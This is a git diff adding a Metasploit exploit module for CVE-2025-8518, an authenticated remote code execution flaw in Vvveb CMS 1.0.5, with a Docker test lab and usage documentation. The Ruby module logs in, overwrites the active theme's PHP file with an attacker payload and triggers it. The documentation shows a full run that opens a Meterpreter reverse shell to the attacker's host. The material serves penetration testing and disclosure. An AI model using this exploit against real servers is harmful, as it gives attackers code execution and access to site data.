diff --git a/data/exploits/CVE-2025-8518/Dockerfile b/data/exploits/CVE-2025-8518/Dockerfile new file mode 100644 index 0000000000..f090ba9521 --- /dev/null +++ b/data/exploits/CVE-2025-8518/Dockerfile @@ -0,0 +1,25 @@ +FROM php:8.3-fpm + +RUN apt-get clean && apt-get update && \ + apt-get install -y \ + wget unzip \ + libicu-dev \ + libfreetype6-dev \ + libjpeg62-turbo-dev \ + libxml2-dev \ + libwebp-dev \ + libpng-dev \ + libzip-dev \ + libonig-dev \ + libcurl4-openssl-dev && \ + docker-php-ext-configure gd --with-webp --with-jpeg && \ + docker-php-ext-install -j$(nproc) gd xml dom curl mbstring intl gettext zip mysqli && \ + pecl install apcu && docker-php-ext-enable apcu && \ + rm -rf /var/lib/apt/lists/* + +WORKDIR /var/www/html + +RUN wget https://github.com/givanz/Vvveb/releases/download/1.0.5/latest.zip && \ + unzip latest.zip && rm latest.zip + +COPY php.ini /usr/local/etc/php/php.ini diff --git a/data/exploits/CVE-2025-8518/docker-compose.yml b/data/exploits/CVE-2025-8518/docker-compose.yml new file mode 100644 index 0000000000..4e3a4e0258 --- /dev/null +++ b/data/exploits/CVE-2025-8518/docker-compose.yml @@ -0,0 +1,43 @@ +services: + php: + build: . + container_name: vvveb-php + volumes: + - vvveb_html:/var/www/html + networks: + - vvveb-net + + nginx: + image: nginx:stable + container_name: vvveb-nginx + ports: + - "8080:80" + volumes: + - ./nginx.conf:/etc/nginx/conf.d/default.conf + - vvveb_html:/var/www/html:ro + depends_on: + - php + networks: + - vvveb-net + + mysql: + image: mysql:5.7 + container_name: vvveb-mysql + restart: unless-stopped + environment: + MYSQL_ROOT_PASSWORD: root + MYSQL_DATABASE: vvveb + MYSQL_USER: vvveb + MYSQL_PASSWORD: vvveb + volumes: + - db_data:/var/lib/mysql + networks: + - vvveb-net + +networks: + vvveb-net: + driver: bridge + +volumes: + db_data: + vvveb_html: diff --git a/data/exploits/CVE-2025-8518/nginx.conf b/data/exploits/CVE-2025-8518/nginx.conf new file mode 100644 index 0000000000..3ca1eb6817 --- /dev/null +++ b/data/exploits/CVE-2025-8518/nginx.conf @@ -0,0 +1,21 @@ +server { + listen 80; + server_name localhost; + + root /var/www/html; + index index.php index.html; + + location / { + try_files $uri $uri/ /index.php?$args; + } + + location ~ \.php$ { + try_files $uri =404; + fastcgi_split_path_info ^(.+\.php)(/.+)$; + fastcgi_pass php:9000; + fastcgi_index index.php; + include fastcgi_params; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + fastcgi_param PATH_INFO $fastcgi_path_info; + } +} diff --git a/data/exploits/CVE-2025-8518/php.ini b/data/exploits/CVE-2025-8518/php.ini new file mode 100644 index 0000000000..fd04ef5ca2 --- /dev/null +++ b/data/exploits/CVE-2025-8518/php.ini @@ -0,0 +1,5 @@ +display_errors = On +memory_limit = 512M +upload_max_filesize = 64M +post_max_size = 64M +max_execution_time = 300 diff --git a/documentation/modules/exploit/multi/http/vvveb_auth_rce_cve_2025_8518.md b/documentation/modules/exploit/multi/http/vvveb_auth_rce_cve_2025_8518.md new file mode 100644 index 0000000000..652695b3dc --- /dev/null +++ b/documentation/modules/exploit/multi/http/vvveb_auth_rce_cve_2025_8518.md @@ -0,0 +1,76 @@ +## Vulnerable Application + +[Vvveb CMS](https://github.com/givanz/Vvveb) is vulnerable to Code Injection via the Code Editor functionality. + +Unsanitized editing functionality allows attacker-controlled changes to existing files on the web-accessible filesystem, +allowing remote authenticated attackers with access to the Code Editor to achieve code execution +when those modified files are executed or served by the application or web server. + +This vulnerability affects Vvveb CMS versions up to and including 1.0.5. +Successful exploitation may result in the remote code execution under the privileges +of the web server, potentially exposing sensitive data or disrupting survey operations. + +An attacker can execute arbitrary system commands in the context of the user running the web server. + +## Testing + +1. Open `data/exploits/CVE-2025-8518` folder and use Docker Compose to set up the Vvveb CMS app + +`docker compose up -d --build` + +2. Open http://127.0.0.1:8080/ and make sure the app is available + +3. Fill in the installation form with the following details: + +Database engine: MySQL / MariaDB +Database host: mysql +Database name: vvveb +Database username: root +Database password: root + +4. On the next form, you need to enter the admin password or provide your own. + +5. Log in with your credentials at http://127.0.0.1:8080/admin +Username: admin +Password: the one you provided in the previous step + +## Scenario + +### php/meterpreter/reverse_tcp + +``` +msf6 > use multi/http/vvveb_auth_rce_cve_2025_8518 +[*] No payload configured, defaulting to php/meterpreter/reverse_tcp +msf6 exploit(multi/http/vvveb_auth_rce_cve_2025_8518) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf6 exploit(multi/http/vvveb_auth_rce_cve_2025_8518) > set RPORT 8080 +RPORT => 8080 +msf6 exploit(multi/http/vvveb_auth_rce_cve_2025_8518) > set PASSWORD 12345 +PASSWORD => 12345 +msf6 exploit(multi/http/vvveb_auth_rce_cve_2025_8518) > set LHOST 172.17.0.1 +LHOST => 172.17.0.1 +msf6 exploit(multi/http/vvveb_auth_rce_cve_2025_8518) > run verbose=true + +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Fetching CSRF token... +[+] Token successfully fetched: +[*] Attempting login... +[+] Login successful +[*] Checking version... +[+] The target appears to be vulnerable. Detected version 1.0.5, which is vulnerable +[*] Identifying the active theme path... +[+] Theme path successfully identified: /public/themes/blog-default/theme.php +[*] Setting up payload... +[+] Payload setup complete +[*] Triggering payload... +[*] Sending stage (40004 bytes) to 172.24.0.3 +[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.24.0.3:59256) at 2025-10-18 20:08:08 -0400 + +meterpreter > sysinfo +Computer : 0c6eb9a3e896 +OS : Linux 0c6eb9a3e896 6.11.2-amd64 +Meterpreter : php/linux +meterpreter > getuid +Server username: www-data +``` \ No newline at end of file diff --git a/modules/exploits/multi/http/vvveb_auth_rce_cve_2025_8518.rb b/modules/exploits/multi/http/vvveb_auth_rce_cve_2025_8518.rb new file mode 100644 index 0000000000..4ef52c8af3 --- /dev/null +++ b/modules/exploits/multi/http/vvveb_auth_rce_cve_2025_8518.rb @@ -0,0 +1,247 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Remote Code Execution Vulnerability in Vvveb (CVE-2025-8518)', + 'Description' => %q{ + Vvveb CMS is vulnerable to Code Injection via the Code Editor functionality. + + Unsanitized editing functionality allows attacker-controlled changes to existing files on the web-accessible filesystem, + allowing remote authenticated attackers with access to the Code Editor to achieve code execution + when those modified files are executed or served by the application or web server. + + This vulnerability affects Vvveb CMS versions up to and including 1.0.5. + Successful exploitation may result in the remote code execution under the privileges + of the web server, potentially exposing sensitive data or disrupting survey operations. + + An attacker can execute arbitrary system commands in the context of the user running the web server. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Maksim Rogov', # Metasploit Module + 'Hamed Kohi' # Vulnerability Discovery + ], + 'References' => [ + ['CVE', '2025-8518'], + ['URL', 'https://hkohi.ca/vulnerability/8'] + ], + 'Platform' => ['php'], + 'Arch' => [ARCH_PHP], + 'Targets' => [ + [ + 'PHP', + { + 'Platform' => ['php'], + 'Arch' => ARCH_PHP + # Tested with php/meterpreter/reverse_tcp + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-01-10', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'Path to Vvveb CMS', '/admin/']), + OptString.new('USERNAME', [true, 'The username used to authenticate to Vvveb CMS', 'admin']), + OptString.new('PASSWORD', [true, 'The password used to authenticate to Vvveb CMS', '']) + ] + ) + end + + def get_csrf_token + print_status('Fetching CSRF token...') + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'keep_cookies' => true + ) + fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200 + + html = res.get_html_document + csrf_input = html.at('input[name="csrf"]') + unless csrf_input + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token") + end + + token = csrf_input.attributes.fetch('value', nil) + if token.blank? + fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty") + end + + print_good("Token successfully fetched: #{token}") + return token.to_s + end + + def login + csrf_token = get_csrf_token + + print_status('Attempting login...') + + post_data = Rex::MIME::Message.new + post_data.add_part(csrf_token, nil, nil, 'form-data; name="csrf"') + post_data.add_part('', nil, nil, 'form-data; name="redir"') + post_data.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user"') + post_data.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="password"') + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path), + 'method' => 'POST', + 'keep_cookies' => true, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'vars_get' => { 'module' => 'user/login' }, + 'data' => post_data.to_s + ) + + fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res + fail_with(Failure::NoAccess, "#{peer} - Incorrect credentials - #{datastore['USERNAME']}:#{datastore['PASSWORD']}") if res.body.include?('wrong email or password') + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 302 + + @logged_in = true + print_good('Login successful') + end + + def get_active_theme_path + print_status('Identifying the active theme path...') + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'GET', + 'vars_get' => { 'module' => 'theme/themes' } + ) + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200 + + active_theme = res.get_html_document.at('div.list-card.active') + if active_theme.blank? + fail_with(Failure::UnexpectedReply, "#{peer} - Card with the active theme was not found") + end + + theme_preview = active_theme.at('.card-img-top img').attributes.fetch('src', nil) + if theme_preview.blank? + fail_with(Failure::UnexpectedReply, "#{peer} - Preview of the active theme card was not found") + end + + theme_dir = File.dirname(theme_preview) + theme_path = theme_dir + '/theme.php' + + print_good("Theme path successfully identified: #{theme_path}") + return theme_path + end + + def get_theme_content(theme_path) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'GET', + 'vars_get' => { + 'module' => 'editor/code', + 'action' => 'loadFile', + 'type' => 'themes', + 'file' => theme_path + } + ) + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200 + + return res.body + end + + def set_theme_content(theme_path, content) + post_data = Rex::MIME::Message.new + post_data.add_part(content, nil, nil, 'form-data; name="content"') + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'vars_get' => { + 'module' => 'editor/code', + 'action' => 'save', + 'type' => 'themes', + 'file' => theme_path + }, + 'data' => post_data.to_s + ) + + if !res.nil? && res.code != 200 + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") + end + end + + def trigger_payload(_theme_path) + print_status('Triggering payload...') + + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'GET', + 'vars_get' => { + 'module' => 'editor/editor', + 'url' => '/', + 'template' => 'index.html' + } + ) + end + + def set_payload(theme_path) + print_status('Setting up payload...') + set_theme_content(theme_path, payload.encoded) + print_good('Payload setup complete') + end + + def check + login + + print_status('Checking version...') + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'GET', + 'vars_get' => { 'module' => 'tools/systeminfo' } + ) + fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200 + + version_td = res.get_html_document.at('tr:has(th:contains("Vvveb version")) td') + if version_td.nil? + fail_with(Failure::UnexpectedReply, "#{peer} Failed to find Vvveb version") + end + + version = Rex::Version.new(version_td&.text&.strip) + if version <= Rex::Version.new('1.0.5') + return CheckCode::Appears("Detected version #{version}, which is vulnerable") + end + + return CheckCode::Safe("Detected version #{version}, which is not vulnerable") + end + + def cleanup + set_theme_content(@theme_path, @default_theme_content) unless @theme_path.nil? && @default_theme_content.nil? + super + end + + def exploit + login unless @logged_in + @theme_path = get_active_theme_path + @default_theme_content = get_theme_content(@theme_path) + set_payload(@theme_path) + trigger_payload(@theme_path) + end +end